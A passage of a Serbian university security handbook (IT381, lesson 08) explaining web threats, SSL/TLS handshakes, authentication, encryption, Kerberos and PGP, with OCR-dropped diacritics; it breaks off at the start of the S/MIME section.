IT381 - Zatita i bezbednost informacija

Lekcija 08
S I G U R N O S T T R A N S P O RT N O G I
APLIKACIONOG SLOJA

Igor Franc

PRIRUNIK ZA STUDENTE

Copyright 2010 UNIVERZITET METROPOLITAN, Beograd. Sva prava

zadrana. Bez prethodne pismene dozvole od strane Univerziteta
METROPOLITAN zabranjena je reprodukcija, transfer, distribucija ili
memorisanje nekog dela ili itavih sadraja ovog dokumenta.,
kopiranjem, snimanjem, elektronskim putem, skeniranjem ili na bilo koji
drugi nain.
Copyright 2010 BELGRADE METROPOLITAN UNIVERSITY. All rights
reserved. No part of this publication may be reproduced, stored in a
retrieval system or transmitted in any form or by any means, electronic,
mechanical, photocopying, recording, scanning or otherwise, without the
prior written permission of Belgrade Metropolitan University.

IT381 - Zatita i bezbednost informacija

Lekcija 08

SIGURNOST TRANSPORTNOG I
APLIKACIONOG SLOJA
Sigurnost transportnog i aplikacionog sloja
Poglavlje 1: Web bezbednost i application layer security
Poglavlje 2: Bezbednost transportnog sloja
Poglavlje 3: Autentifikacija i autorizacija
Poglavlje 4: Simetrina i asimestrina enkripcija
Poglavlje 5: SSL i Kerberos protokol
Poglavlje 6: Bezbedni sistem elektronske pote, PGP i S-MIME
Poglavlje 7: PKI i Certificate Authority
Poglavlje 8: Veba 08
Poglavlje 9: Domai zadatak 08
Zakljuak

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

Sigurnost transportnog
i aplikacionog sloja

UVOD
Ovo poglavlje predstavlja uvod u oblast sigurnosti
transportnog i aplikacionog sloja.
Teme predavanja su:

Web bezbednost i application layer security

Bezbednost transportnog sloja
Autentifikacija i autorizacija
Simetrina i asimestrina enkripcija
SSL i Kerberos protokol
Bezbedni sistem elektronske pote, PGP i S-MIME
PKI i Certificate authority

U vebi studenti e se upoznati sa:

Metasploitom

Poglavlje 1: Web bezbednost i application layer security

Poglavlje 1

Web bezbednost i
application layer
security
WEB BEZBEDNOST
Web predstavlja nove izazove u kontekstu raunarske i
mrene bezbednosti.
World Wide Web je u osnovi klijent / server aplikacija koja se izvodi
putem Interneta i TCP / IP intraneta. Web predstavlja nove izazove u
kontekstu raunarske i mrene bezbednosti:
Za razliku od tradicionalnih okruenja, web je ranjiv na napade na
web servere putem Interneta.
Web sve vie slui kao servis za vidljive informacije o kompanijama
i o proizvodu, i kao platforme za poslovne transakcije. Reputacija
moe biti naruena i moe se izgubiti novac ako se web serveri
obore.
Iako se web pretraivai jednostavno koriste, a web serveri se
relativno jednostavno konfiguriu, i web sadraj se jednostavno
razviti, osnovni softver je izuzetno sloen. Ovaj kompleksni softver
moe sakriti mnoge potencijalne bezbednosne nedostatke.
Web-server se moe iskoristiti za aktiviranje bloka (engl. launching
pad) u korporacije ili agenciske celokupne komplekse raunara.
Nakon to je web-server oboren napada moe pristupiti podacima
i sistemima koji nisu deo web-a, ali su povezane sa serverom na
lokalnom sajtu.
Povremeni i neobueni (u bezbednosnim pitanjima) korisnici su
zajedniki klijenti za usluge zasnovane na web-u. Takvi korisnici nisu
svesni bezbednosnih rizika koji postoje i nemaju alate ili znanje da
preduzmu efikasne protivmere.

WEB BEZBEDNOSNE PRETNJE

Pregled vrsta bezbednosnih pretnji koje se sreu u
korienju Interneta.

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

Pretnje prilikom korienja web-a se mogu podeliti na pasivne i aktivne
napade. Pasivni napadi ukljuuju prislukivanje na mrei izmeu
pretraivaa i servera i dobijanje pristupa informacijama na web-stranici
koja bi trebalo biti ograniena. Aktivni napadi ukljuuju otkrivanje drugih
korisnika, ubacivanje poruka u tranzitu izmeu klijenta i servera i
ubacivanje informacija na web sajt.

Pretnje se mogu klasifikovati i na osnovu lokacija:

web server,
web pretraiva i
mreni saobraaj izmeu pretraivaa i servera.
Bezbednost servera i pretraivaa je u kategoriji bezbednosti raunarskih
sistema.

UPOREDNI PRIKAZ BEZBEDNOSNIH

PRETNJI NA WEBU
Prikaz bezbednosnih pretnji na webu.
Slika 1 daje uporedni prikaz bezbednosnih pretnji na webu.
Slika 1.1 Uporedni prikaz
bezbednosnih pretnji na
webu

Poglavlje 1: Web bezbednost i application layer security

WEB PRISTUPI BEZBEDNOSTI

SAOBRAAJA
Postoje brojni naini kako bi se ostvarila bezbednost na
web-u.
Razliiti pristupi koji se razmatraju su slini kada je re o servisima koji
se pruaju, ali se razlikuju prema primeni i relativnoj lokaciji u odnosu na
TCP/IP protokol. Slika 2 ilustruje ove razlike.
Jedan od naina za pruanje Internet bezbednost je korienje IPSec
protokola, Slika 2a
Drugo reenje opte namene je implementacija bezbednosti iznad
TCP protokola, Slika 2b
Primena specifinih bezbednosnih usluga je umetanje unutar
pojedinih aplikacija, Slika 2c.
Slika 1.2 Relativne lokacije
web bezbednosnih
mehanizama

APPLICATION LAYER SECURITY

Bezbednost na aplikacionom sloju odnosi sena zatiti
Web aplikacija to predstavlja sloj 7 OSI modela.
Application layer security refers to methods of protecting Web
applications at the application layer (layer 7 of the sevenlayer OSI model) from malicious attacks that may expose private
information. Security is applied to the application layer specifically to
protect against unauthorized access and attacks.
Application Security Manager provides proactive application-layer
protection by understanding and analyzing a user's interaction with
the application firewall. Application Security Manager is automatically
configured to allow only authorized application transactions, protecting
networks and critical data from application attacks including hacking,
cross-site scripting, and parameter tampering.

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

Capabilities such as packet inspection and behavior analysis protect
against malicious application activity, requests for restricted object and
file types, known worms, and other vulnerabilities.

Poglavlje 2: Bezbednost transportnog sloja

Poglavlje 2

Bezbednost
transportnog sloja
SSL BEZBEDNOST TRANSPORTNOG
SLOJA
Uloga SSL u bezbednosti na transportnom sloju.
Posmatrajmo ulogu SSL u bezbednosti na transportnom sloju. Korisnik B
selektuje odgovarajui link ka bezbednoj stranici na serveru korisnika A.
Ako je server obezbeen sa SSL slojem, protokolski deo linka URL (engl.
Universal Resource Locator) za stranicu je https://.
Pretraiva i server startuju SSL protokol kako bi proverili spremnost za
prenos. Nakon toga, autentifikuje se server i generie simetrini klju. U
ovim koracima se koristi RSA tehnologija javnih kljueva.
1. Spremnost za prenos se proverava tako to server A alje svoje
uverenje korisniku B. Korisnik B iz uverenja dobija javni klju
servera A.
2. Korisnik B generie tajni simetrini klju, ifruje ga pomou
javnog kljua korisnika A i alje ga korisniku A. Korisnik B i server
sada dele simetrini klju sesije.

KORACI SSL SINHRONIZACIJE

SSL sinhronizacija sadri sledeih 7 koraka.
Kada se uspostavi sinhronizacija sa serverom, svi podaci koji se alju
preko TCP konekcije izmeu pretraivaa i servera, ifrovani su pomou
simetrinog kljua sesije. SSL sinhronizacija sadri sledee korake:
1. Pretraiva alje serveru broj svoje SSL verzije i spisak
najprihvatljivijih kriptografskih mehanizama koji se mogu
koristiti.
2. Server alje pretraivau broj svoje SSL verzije, svoju odluku o
kriptografskoj metodi i svoje uverenje. Uverenje sadri serverov
RSA javni klju i potvren je od CA tela.

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

3. Pretraiva poseduje listu CA tela, kao i javni klju za svaki CA sa
liste. Kada primi uverenje od servera, pretraiva proverava da li
se CA nalazi na listi.
4. Pretraiva generie sluajan simetrini klju sesije, ifruje ga
pomou javnog kljua servera i alje serveru klju sesije.
5. Jednom porukom pretraiva obavetava odgovarajui server da
su sve poruke koje slede, ifrovane pomou kljua sesije. Nakon
toga alje jednu ifrovanu poruku i signalizira da je pretraivaev
deo sinhronizovan.
6. Server alje pretraivau poruku i signilizira da e i sve njegove
poruke koje slede biti ifrovane kljuem sesije.
7. Kada je SSL signalizacija zavrena, startuje SSL sesija i razmena
ifrovanih poruka.

TLS BEZBEDNOST TRANSPORTNOG

SLOJA
TLS format zapisa je jednak formatu SSL zapisa, razlika
je samo u vrednosti polja za verziju.
Transport Layer Security-TSL je IETF inicijativa sa ciljem formiranja
Internet standarda RFC2246. TLS format zapisa je jednak formatu SSL
zapisa. Razlika je u vrednosti polja za verziju. Kod TLS verzije, polje
Major Version je 3 a Minor Version je 1. TLS koristi HMAC algoritam za
autentifikaciju koda koji je opisan u RFC2104.

TLS koristi pseudosluajnu funkciju PRF (pseudorandom function) kako bi

se generisali dui blokovi podataka na osnovu relativno malih poverljivih
podataka.

10

Poglavlje 3: Autentifikacija i autorizacija

Poglavlje 3

Autentifikacija i
autorizacija
AUTENTIFIKACIJA
Autentifikacija je proces provere da li je neko ili neto
stvarno onaj ko se predstavlja da jeste.
Authentication is the process of determining whether someone or
something is, in fact, who or what it is declared to be. In private and
public computer networks (including the Internet), authentication is
commonly done through the use of logon passwords. Knowledge of the
password is assumed to guarantee that the user is authentic. Each user
registers initially (or is registered by someone else), using an assigned
or self-declared password. On each subsequent use, the user must know
and use the previously declared password. The weakness in this system
for transactions that are significant (such as the exchange of money) is
that passwords can often be stolen, accidentally revealed, or forgotten.
For this reason, Internet business and many other transactions require
a more stringent authentication process. The use of digital certificates
issued and verified by a Certificate Authority-CA as part of a public
key infrastructure is considered likely to become the standard way to
perform authentication on the Internet. Logically, authentication
precedes authorization (although they may often seem to be combined).

AUTORIZACIJA
Autorizacija je funkcija koja proverava prava pristupa
odreenom resursu.
Authorization (engl. authorization) is the function of specifying access
rights to resources, which is related to information security and computer
security in general and to access control in particular. More formally, "to
authorize" is to define access policy. For example, human resources staff
are normally authorized to access employee records, and this policy is
usually formalized as access control rules in a computer system.

11

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

During operation, the system uses the access control rules to decide
whether access requests from (authenticated) consumers shall be
approved (granted) or disapproved (rejected). Resources include
individual files' or items' data, computer programs, computer devices
and functionality provided by computer applications. Examples of
consumers are computer users, computer programs and other devices
on the computer.

12

Poglavlje 4: Simetrina i asimestrina enkripcija

Poglavlje 4

Simetrina i
asimestrina enkripcija
SIMETRINA ENKRIPCIJA
Bazira se na jednom kljuu za ifrovanje koji moraju
znati obe strane (poiljalac i primalac).
Symmetric encryption is the oldest and best-known technique. A secret
key, which can be a number, a word, or just a string of random letters,
is applied to the text of a message to change the content in a particular
way. This might be as simple as shifting each letter by a number of
places in the alphabet. As long as both sender and recipient know the
secret key, they can encrypt and decrypt all messages that use this key.

ASIMETRINA ENKRIPCIJA
Bazira se na paru kljueva (javni i tajni) koji reavaju
problem razmene kljueva.
The problem with secret keys is exchanging them over the Internet or a
large network while preventing them from falling into the wrong hands.
Anyone who knows the secret key can decrypt the message. One answer
is asymmetric encryption, in which there are two related keys--a key
pair. A public key is made freely available to anyone who might want to
send you a message. A second, private key is kept secret, so that only
you know it. Any message (text, binary files, or documents) that are
encrypted by using the public key can only be decrypted by applying the
same algorithm, but by using the matching private key. Any message
that is encrypted by using the private key can only be decrypted by using
the matching public key.

This means that you do not have to worry about passing public keys
over the Internet (the keys are supposed to be public). A problem with
asymmetric encryption, however, is that it is slower than symmetric

13

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

encryption. It requires far more processing power to both encrypt and
decrypt the content of the message.

14

Poglavlje 5: SSL i Kerberos protokol

Poglavlje 5

SSL i Kerberos protokol

O PROTOKOLIMA SSL I KERBEROS
Protokoli koji se esto koriste u sigurnim
komunikacijama, SSL u razmeni podataka a Kerberos u
autorizaciji na MS Windows raunarima.
Jedan od najee korienih bezbednosnih protokola je Secure Sockets
Layer-SSL, a sledi Internet standard poznat kao Transport Layer SecurityTLS.
Kerberos je izdat kao Internet standard i defacto je standard za daljinsku
proveru identiteta. Celokupna ema Kerberos-a je da je on pouzdana
trea strana usluge provere identiteta. On je pouzdan u tom smislu
da klijent i server imaju poverenje u Kerberos da posreduje obostranu
proveru identiteta. U sutini, Kerberos zahteva da korisnik dokae njegov
ili njen identitet za svaku uslugu pozivanja, i opcionalno, zahteva od
servera da dokae svoj identitet klijentima.

5.1

SSL PROTOKOL
SSL PROTOKOL
Jedan od najee korienih bezbednosnih protokola je
Secure Sockets Layer-SSL.
Jedan od najee korienih bezbednosnih protokola je Secure Sockets
Layer-SSL, a sledi Internet standard poznat kao Transport Layer SecurityTLS. SSL je razvio Netscape. SSL je zasnovan na metodama asimetrinog
PKI ifrovanja koje je razvila korporacija RSA. Tehnika radna grupa
za Internet (IETF) je ustanovila RFC2246, koji je dokumentovao novi
protokol zasnovan na treoj verziji SSL-a, nazvan TLS protokol verzija
1. SSL je usluga opte namene implementirana kao skup protokola koji
se oslanjaju na TCP. Na tom sloju, postoje dva izbora implementacije.
Najoptiji, SSL (ili TLS) se moe obezbediti kao deo osnovnog skupa
protokola, pa e zbog toga biti transparentan za aplikacije. Alternativno,
SSL moe biti ugraen u specfine pakete. Na primer, Netscape i

15

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

Microsoft Explorer pretraivae koji dolaze opremljeni sa SSL, a veina
web servera imaju implementirani protokol. Danas mnogi proizvodi
razliitih distributera softvera podravaju verzije SSL i TLS.

SSL ARHITEKTURA
SSL arhitektura koristi TCP protokol za bezbednost
servisa sa kraja na kraj.
SSL sadri dva sloja, kao to je prikazano na Slici 1. U sutini SSL sloj
se posmatra kao sloj koji se nalazi izmeu aplikacionog i transportnog
sloja. Naime, na predajnoj strani, SSL prima podatke, ifruje podatke i
usmerava ifrovane podatke na TCP soket. Na prijemnoj strani, SSL ita
podatke iz TCP socketa, deifruje podatke i usmerava ih ka aplikaciji. SSL
i TLS nisu ogranieni samo na Web saobraaj. Na primer, koriste se za
autentifikaciju i iforvanje podataka za pristup poti IMAP (engl. Internet
Mail Access Protocol).
Slika 5.1.1 Arhitektura SSL
protokola

DVA VANA SSL KONCEPTA

Dva vana SSL koncepta su SSL sesija i SSL konekcija.
Dva vana SSL koncepta su SSL sesija i SSL konekcija, koji su definisani
u specifikaciji na sledei nain:

16

Poglavlje 5: SSL i Kerberos protokol

Konekcija: Konekcija je prenos (u OSI definiciji modela sloja) koji
obezbjeuje odgovarajui tip usluge. Za SSL, takva veza je
ravnopravna (peer-to-peer). Konekcije su prelazne. Svaka konekcija
je povezana sa jednom sesijom.
Sesija: SSL sesija je asocijacija klijenta i servera. Sesije su kreirane
pomou protokola za rukovanje (HP). Sesije definiu skup
kriptografskih bezbednosnih parametara, koje se mogu deliti izmeu
vie konekcija. Sesije se koriste kako bi se izbegla razmena novih
bezbednosnih parametara za svaku vezu.
Izmeu bilo kojeg para strana (aplikacija kao to je HTTP na klijentu i
serveru), moe postojati vie sigurnih konekcija. U teoriji, moe postojati
vie istovremenih sesija izmeu strana, ali se ta funkcija ne koristi u
praksi.
Postoji zapravo niz stanja vezanih za svaku sesiju. Kada se formira,
sesija ima trenutno operativno stanje za itanje i pisanje (na primer,
primalac i poiljalac). Osim toga, za vreme protokola za rukovanje (HP),
kreirana su stanja u oekivanju (engl. pending) itati i pisati. Nakon
uspenog zavretka protokola za rukovanje (HP), stanje u oekivanju
postaje trenutno stanje.

SSL RP PROTOKOL
SSL protokol za pisanje (engl. SSL Record protocol) nudi
dve usluge.
SSL protokol za pisanje (engl. SSL Record protocol) nudi dve usluge za
SSL konekciju:
Poverljivosti: protokol za rukovanje (HP) definie zajedniki tajni
klju koji se koristi za konvencionalno ifrovanje SSL korisnog
sadraja (engl. payloads).
Integritet poruke: protokol za rukovanje (HP) takoe definie
zajedniki tajni klju koji se koristi da se obrazuje kod za proveru
identiteta poruke (MAC).
Na Slici 2 prikazane su sve operacije na SSL protokolu za pisanje.

17

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

Slika 5.1.2 SSL protokol za
pisanje

SSL PROTOKOL ZA UPOZORENJE

Protokol za upozorenje se koristi da prenese SSLupozorenja na ravnopravni entitet.
Kao i kod drugih programa koji koriste SSL, poruke upozorenja su
komprimovane i ifrovane, kako je navedeno parametrima trenutnog
stanja.
Svaka poruka ovog protokola se sastoji od dva bajta. Prvi bajt uzima
vrednost upozorenje (1) ili kobna greka (engl. fatal) (2) da saopti
vanost poruke. Ako je nivo kobno, SSL odmah prekida vezu. Ostali veze
na istoj sesiji mogu se nastaviti, ali ni jedna nova veza na ovoj sesiji ne
moe biti uspostavljena. Drugi bajt sadri kod koji oznaava specifino
upozorenje. Primer kobnog upozorenja je pogrean MAC. Primer jednog
nekobnog (engl. nonfatal) upozorenja je close_notify poruka, kojom se
obavetava primalac da poiljalac nee slati vie poruke na ovoj vezi.

SSL PROTOKOL ZA RUKOVANJE

Najkompleksniji deo SSL je protokol za rukovanje (engl.
Handshake Protocol).
Ovaj protokol omoguava da klijent i server meusobno provere identitet
i dogovore se o algoritmu za ifrovnaje, MAC algoritmu i kriptografskim
kljuevima koji e se koristiti za zatitu podataka poslatih u SSL zapis.
Protokol za rukovanje se koristi pre nego se prenose bilo koji aplikativni
podaci (application data). Protokol za rukovanje se sastoji od niza poruka
koje razmene klijent i server, a koje se mogu posmatrati u 4 faze:

18

Poglavlje 5: SSL i Kerberos protokol

Faza 1. Uspostaviti bezbednosne mogunosti koristi ga klijent da
pokrene logiku vezu i ustanovi bezbednosne mogunosti koje e
biti povezane sa njom.
Faza 2. Provera identiteta servera i razmena kljua server poinje
ovu fazu slanjem svojih sertifikata kad treba da bude autentifikovan.
Faza 3. Provera identiteta klijenta i razmena kljua klijent bi
trebalo da potvrdi ako se zahteva da server obezbedi valjani
sertifikat, i proverava da su server_hello parametri prihvatljivi.
Faza 4. Zavrna faza ova faza kompletira uspostavljanje sigurne
veze. Klijent alje poruku change_cipher_spec i kopira stanje u
oekivanju CipherSpec u trenutni CipherSpec.

5.2

KERBEROS PROTOKOL
KERBEROS PROTOKOL
Kerberos zahteva da korisnik dokae njegov ili njen
identitet za svaku uslugu pozivanja.
Postoje brojni pristupi koje organizacije mogu koristiti da obezbede
mrene servere i hostove. Jedan od naina je korienje softvera za
proveru identiteta vezanog za sigurnu proveru identiteta servera. Taj
pristup je usvojio Kerberos. Kerberos, prvobitno razvijen na MIT, jeste
softver korisno dostupan, i u javnom domenu i u komercijalno-podranim
verzijama. U sutini, Kerberos zahteva da korisnik dokae njegov ili njen
identitet za svaku uslugu pozivanja, i opcionalno, zahteva od servera da
dokae svoj identitet klijentima.
Za razliku od veine drugih ema za proveru identiteta, Kerberos se
oslanja iskljuivo na simetrinom ifrovanju. Dve verzije Kerberos se
zajedniki koriste: v4 & v5. Postoji slinost sa SSL/TLS, ali je razvijen za
klijent-server okruenje, za razliku od SSL/TLS, ija je primarna namena
obezbeivanje pristupa Webu. Kerberos je bezbednosni standard sa
otvorenim kodom. Najnovija verzija 5, nastala je u saradnji sa IETF u
RFC1510.
Kerberos koristi protokol koji ukljuuje klijente, aplikativne servere i
Kerberos server. To je sloen protokol koji odraava injenicu da postoji
mnogo naina da protivnik narui bezbednost. Kerberos je dizajniran da
odbije razne pretnje po bezbednost klijent / server dijaloga.

19

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

AUTHENTICATION SERVER AS
Serveri za proveru identiteta (engl. Authentication
Server - AS) znaju lozinke svih korisnika i skladiti ih
centralizovano u bazu podatak.
Nakon toga, korisnik se moe prijaviti na AS za verifikaciju identiteta.
Nakon to je AS proverio korisnikov identitet, on moe propustit ove
informacije na aplikacioni server, koji e onda prihvatiti zahteve od
klijenta.
AS deli jedinstveni tajni klju sa svakim serverom. Ovi kljuevi su
distribuirani fiziki ili na neki drugi siguran nain. Ovo e omoguiti AS
da alje poruke do aplikacionih servera na siguran nain. Za poetak,
korisnik X se prijavljuje na radnu stanicu i zahteve dozvolu za pristup
serveru V. Klijent alje poruku do AS koji ukljuuje korisniki ID i zahteva
ono to je poznato kao izdvanje karte (engl. Ticket-Granting Ticket
TGT).
Karta sadri skup akreditiva koje moe koristit klijent da se prijavi za
uslugu. Karta pokazuje da je AS prihvatio ovog klijenta i njegove
korisnike. Karta sadri ID korisnika, ID servera, vremensku oznaku (engl.
timestamp), ivotni vek. Celokupna karta je ifrovana upotrebom tajnog
DES kljua koji dele AS i server. Dakle, niko ne moe menjati karte. Izdata
karta je za viekratnu upotrebu, te se moe koristiti od strane klijenta na
zahtev viestruke usluge dodele karata.

KERBEROS DOMENI
Kompletan-servis Kerberos okruenja sastoje se od
Kerberos servera, velikog broja klijenata, i niza
aplikacijskih servera i naziva se Kerberos domen.
Kerberos domen je skup upravljanih vorova koji dele istu Kerberos
korisniku bazu podataka, dele kljueve sa Kerberos serverom, i deo su
istog administrativnog domena.
Mree klijenata i servera pod razliitim upravnim organizacijama
uopteno predstavljaju razliite domene (engl. realms).
To obino nije praktino, ili nije u skladu sa administrativnom politikom,
da su korisnici i serveri na jednom administrativnom domenu
registrovani Kerberos serverom na drugom mestu. Meutim, korisnicima
u jednom domenu moda treba pristup serverima u drugim domenima, a
neki serveri mogu biti spremni za pruanje usluga korisnicima iz drugih
domena, pod uslovom da je tim korisnicima proveren identitet.

20

Poglavlje 5: SSL i Kerberos protokol

Korisniku koji eli uslugu na serveru u drugom domenu potrebna je
ulaznica za taj server. Korisnik klijenta sledi uobiajene procedure za
dobijanje pristupa na lokalni TGS, i onda alje zahtev za izdavanje karte
udaljenom TGS (TGS u drugom domenu). Klijent tada moe traiti od
daljinskog TGS dodelu ulaznice za eljeni server u domenu daljinskog
TGS. Ulaznica predstavlja udaljen server i oznaava domen u kojem
je korisnik izvorno autentifikovan. Server odluuje da li e prihvatiti
daljinski zahtev.

KERBEROS VERSION 5
Najee koriena verzija Kerberos-a je verzija 4.
Od sredine devedesetih je uvedena verzija 5. Najvanija poboljanja u
verziji 5 su:
Adresa nedostataka okruenja - algoritam ifrovanja, mreni
protokol, redosled bajtova, ivotni vek karte, prosleivanje provere
identiteta, autentifikacija meu domenima
Tehniki nedostaci - dvostruko ifrovanjee, non-STD nainu
korienja, kljuevi sesije, lozinke napada.
Prvo, u verziji 5, ifrovana poruka je obeleena sa identifikatorom
algoritma za ifrovanje. To omoguava korisnicima da konfiguriu
Kerberos da koristi druge algoritme, osim DESa. Verzija 5 daje korisniku
mogunost korienja drugih algoritama.
Verzija 5 takoe podrava tehnike poznate kao prosleivanje provere
identiteta. Verzija 4 ne dozvoljava da uverenja izdata do jednog klijenta
budu prosleena na neki drugi host i koriena od strane nekog drugog
klijenta. Ova mogunost bi trebalo da omogui klijentu da pristupi
serveru i da ima pristup usluzi drugog servera u ime klijenta. Na primer,
klijent izdaje zahtev za server za tampanje (print server) koji tada
pristupa datoteci klijenta iz datoteke servera, koristiti uverenje klijenta
za pristup. Konano, verzija 5 podrava metod za proveru identiteta
meu-domenima koji zahteva manje sigurnu razmenu kljua nego verzija
4.

KERBEROS ODRAVANJE PERFORMANSI

Postavlja se pitanje koji uticaj e Kerberos imati na
performanse u velikom okruenju?
Sreom, odgovor je da postoji vrlo malo uticaja na performanse ako
je sistem ispravno konfigurisan. Treba imati na umu da su karte za
viekratnu upotrebu. Dakle, koliina saobraaja potrebna za odobravanje
zahteva za kartu je umerena. Imajui u vidu prenos karata za prijavu

21

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

provere identiteta, razmena prijave se mora odvijati u svakom sluaju,
tako da su opet dodatni trokovi razmene skromni.

Problem je da li je Kerberos server aplikacija zahteva posveenu

platformu ili moe da deli raunar sa drugim aplikacijama. Verovatno nije
mudro pokrenuti Kerberos server na istoj maini, kao i resurs-intenzivne
aplikacije kao to je baza podataka. tavie, bezbednost Kerberos-a je
najbolje osigurana stavljanjem Kerberos server na zasebnu, izolovanu
mainu.

Konano, u velikom sistemu, postavlja se pitanje da li je potrebno ii

na vie domena, kako bi se uspeno odrale performanse. Verovatno
ne. Umesto toga, motivacije za viestruke domene je administriranje.
Ako imate geografski odvojene klaster maine, svaka sa svojim mrenim
administratorom, tada jedan domen po administratoru moe biti
pogodan. Meutim, to nije uvek sluaj.

22

Poglavlje 6: Bezbedni sistem elektronske pote, PGP i S-MIME

Poglavlje 6

Bezbedni sistem
elektronske pote, PGP
i S-MIME
BEZBEDNI SISTEM ELEKTRONSKE POTE
Prenoenje neifrovane komunikacije preko interneta je
bezbedno isto onoliko koliko je bezbedno slanje
razglednice potom.
Veza izmeu nekog klijenta i servera na internetu se rutira kroz vei
broj nezavisnih sistema. U svakoj taki te veze mogue je nadgledati
mreni saobraaj. Prenoenje neifrovane komunikacije preko interneta
je bezbedno isto onoliko koliko je bezbedno slanje razglednice potom,
jer svako ko ima pristup usputnoj infrastrukturi, moe da proita poruku.
Danas je e-pota jedan od najpopularnijih oblika komunikacije. Naalost,
ovaj oblik komunikacije mue mnogi bezbednosni problemi. Bezbedna
elektronska razmena poruka se bavi bezbednosnim problemima e-pote.
Omoguava da ifrujete poruke, tako da mogu da ih deifruju samo
planirani primaoci. Bezbedna elektronska razmena poruka, takoe,
omoguava digitalno potpisivanje poruka, tako da primaoci poruke mogu
da budu sigurni od koga je poruka poslata.

6.1

PGP (PRETTY GOOD PRIVACY)

PGP
Prilino dobra privatnost
Prilino dobra privatnost (engl. Pretty Good Privacy PGP)
bezbednosni program e-pote, izuzetan je fenomen; porastao je
eksplozivno, i sada se iroko koristi. Kreirao ga je Phil Zimmermann, koji
je odabrano najbolji dostupni kripto algoritam i integrisao ga u jedan
program. PGP obezbeuje usluge poverljivost i proveru identiteta koja se
moe koristiti za elektronsku potu i datoteka za skladitenje aplikacija.

23

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

Aktuelen operacije PGP-a, za razliku od upravljanja kljuevima, sadri

pet usluga: proveru identiteta, poverljivost, kompresiju, e-mail
kompatibilnost i segmentacija.

USLUGA PROVERE IDENTITETA

Koraci PGP provere identiteta.
PGP prua uslugu provere identiteta, koja se izvrava u nekoliko koraka:
poiljalac kreira poruku;
koristi SHA-1 za generisanje 160-bitne he poruke,
potpisuje hash sa RSA korienjem privatnog kljua poiljaoca, koji
se nalazi u prilogu poruke;
primalac koristi RSA sa javnim kljuem poiljaoca da deifruje i
oporavi hash kod;
primalac overava primljenu poruku koristei izraunati hash
primeljene poruke i uporeuje ga sa deifrovanim hash kodom.
Napomena: ovde se pretpostavlja upotreba RSA digitalnog potpisa, nove
PGP verzije podravaju korienje DSS algoritma za potpis. Potpis moe
biti odvojen od poruke / datoteke i poslato / sauvano odvojeno.

ETIRI VRSTE KLJUEVA

Postoji potreba da se identifikuje koji se zapravo klju
koristi za ifrovanje kljua sesije za bilo koju odreenu
poruku.
PGP koristi etiri vrste kljueva: jednokratan simetrian klju sesije, javne
kljueve, privatne kljueve i zasnovane na fazi dodavanja (passphrasebased) simetrine kljueve. Svaki klju sesije povezan je sa jednom
porukom i koristi se samo za ifrovanje i deifrovanje te poruke. Sluajani
brojevi se generiu korienjem generatora ANSI X12.17, sa ulazima
zasnovanim unosom sa tastature od korisnika, pri emu se se koristite
oba otkucana tipka i aktuelni kljuevi za generisanje sluajnih brojeva
toka.
Poto se brojn javni / privatni kljuevi mogu upotrebi sa PGP, postoji
potreba da se identifikuje koji se zapravo klju koristi za ifrovanje kljua
sesije za bilo koju odreenu poruku. Zapravo, moe se slati kompletan
javni klju sa svakom porukom, ali je to neefikasno. Umesto toga koristi
se PGP klju identifikator zasnovan na najmanje vana 64-bita kljua,
koji e vrlo verovatno biti jedinstveni. Tada bi trebalo slati samo krai ID
kljua sa porukom. ID kljua je takoe potreban za PGP digitalni potpis.

24

Poglavlje 6: Bezbedni sistem elektronske pote, PGP i S-MIME

SLANJE PORUKE
Objanjenje procesa slanja poruke PGP.
Proces slanja poruke:
PGP vraa poiljaocu privatni klju iz privatnog prstena kljua
koristei your_userid kao indeks. Ako your_userid nije naveden u
naredbi, preuzima se prvi privatni klju na prstenu.
PGP pita korisniku za dodatnu fazu da bi oporavio neifrovan privatni
klju.
Generisan je potpis - komponenta poruke.
Slika 6.1.1 PGP slanje poruke

IFROVANJE/DEIFROVANJE PORUKE
Objanjenje koraka ifrovanja i deifrovanja poruke
PGP.
ifrovanje poruke
PGP generie klju sesije i ifruje poruku.
PGP preuzima javni klju primaoca iz javnog kljua prstena koristei
her_userid kao indeks.
Generisanjkljua sesije komponenta poruka.
Deifrovanje poruke

25

Lekcija 08: Sigurnost transportnog i aplikacionog sloja

PGP preuzima privatni klju primaoca iz privatnog prstena kljua,
pomou polja Key ID u kljuu sesije komponenti poruke kao
indeks.;
PGP pita korisniku za dodatnu fazu da oporavi neifrovan privatni
klju;
PGP onda oporavlja klju sesije i deifruje poruku.

PGP UPRAVLJANJE KLJUEM

PGP prua pogodan nain za korienje poverenja,
udruivanje poverenja sa javnim kljuevima i
iskoriava informacije poverenja.
PGP u dokumentaciji navodi da je "Ovaj ceo posao zatite javnih kljueva
od greaka je jedan vrlo teak problem u praktinoj primeni javnih
kljueva". Njegovo reenje je podrka raznim formalnim i neformalnim
okruenjima, u kojima bilo koji korisnik moe da deluje kao "CA" da
potvrdi drugi korisnikov javni klju, a zatim deluje kao "pouzdana
posrednik" drugim korisnicima, kako bi se formiralo "web poverenja".

PGP prua pogodan nain za korienje poverenja, udruivanje poverenja

sa javnim kljuevima i iskoriava informacije poverenja. Prsten kljua
se regularno obrauje za dobijanje indikatora poverenja za kljueve u
njemu.PGP dozvoljava korisniku da opozove njihov trenutni javni klju,
bilo jer postoji sumnja da je kompromitovan, ili jednostavno izbei
korienje istog kljua za dui period.

6.2

S/MIME
S/MIME
Predstavlja poveanje bezbednosti MIME Interneta
standardnog formata e-pote.
S/MIME (engl. Secure/Multipurpose Internet Mail Extension) je poveanje
bezbednosti MIME Interneta standardnog formata e-pote, koji pak prua
podrku za razliite tipove sadraja, ne samo podrku za tekst kako
je u originalnom Internet RFC822 standardu e-pote. MIME omoguava
kodiranje binarnih podataka u tekstualni oblik za transport na
tradicionalnim RFC822 sistemima e-pote. MIME prua niz novih polja
zaglavlja koja definiu informacije o telu poruke, ukljuujui format tela
i bilo koje ifrovanje koje olakava transfer. Najvanije, MIME definie

26

Poglavlje 6: Bezbedni sistem elektronske pote, PGP i S-MIME

